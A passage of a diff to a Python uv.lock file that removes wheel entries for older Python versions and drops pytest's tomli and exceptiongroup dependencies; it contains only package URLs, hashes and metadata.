{ url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1723,11 +1626,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1754,20 +1652,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
|
||||
@@ -2021,11 +1905,9 @@ version = "7.4.4"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "sys_platform == 'win32'" },
|
||||
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
|
||||
{ name = "iniconfig" },
|
||||
{ name = "packaging" },
|
||||
{ name = "pluggy" },
|
||||
{ name = "tomli", marker = "python_full_version < '3.11'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" }
|
||||
wheels = [
|
||||
@@ -2163,13 +2045,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" },
|
||||
@@ -2208,9 +2083,6 @@ version = "0.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" },
|
||||
@@ -2246,60 +2118,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomli"
|
||||
version = "2.4.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
|
||||
